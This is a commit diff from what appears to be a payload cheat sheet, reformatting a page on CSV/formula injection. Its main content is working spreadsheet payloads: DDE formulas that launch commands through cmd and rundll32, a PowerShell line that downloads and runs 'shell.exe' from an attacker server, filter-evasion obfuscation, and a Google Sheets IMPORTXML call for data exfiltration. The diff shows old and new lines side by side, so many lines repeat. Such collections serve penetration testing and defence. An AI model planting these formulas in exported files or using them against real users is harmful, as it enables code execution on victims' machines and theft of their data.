Markdown Linting - CSV, CVE, DBS, LFI, GWT, GraphQL

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Swissky
2025-03-26 16:22:53 +01:00
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commit e03cdfff14
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@@ -2,17 +2,15 @@
> Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
## Summary
* [Methodology](#methodology)
* [Google Sheets](#google-sheets)
* [Google Sheets](#google-sheets)
* [References](#references)
## Methodology
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
```powershell
=
@@ -21,10 +19,10 @@ CSV Injection, also known as Formula Injection, is a security vulnerability that
@
```
Basic exploits with **Dynamic Data Exchange**.
* Spawn a calc
```powershell
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
@@ -33,11 +31,13 @@ Basic exploits with **Dynamic Data Exchange**.
```
* PowerShell download and execute
```powershell
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
```
* Prefix obfuscation and command chaining
```powershell
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
@@ -45,21 +45,23 @@ Basic exploits with **Dynamic Data Exchange**.
```
* Using rundll32 instead of cmd
```powershell
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
```
* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
```powershell
= C m D | '/ c c al c . e x e ' ! A
```
Technical details of the above payloads:
- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
* `cmd` is the name the server can respond to whenever a client is trying to access the server
* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
### Google Sheets
@@ -73,7 +75,7 @@ Google Sheets allows some additionnal formulas that are able to fetch remote URL
So one can test blind formula injection or a potential for data exfiltration with:
```
```c
=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
```
@@ -81,10 +83,10 @@ Note: an alert will warn the user a formula is trying to contact an external res
## References
- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
- [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
- [CSV Injection A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
- [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
- [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
- [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
* [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
* [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
* [CSV Injection A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
* [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
* [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)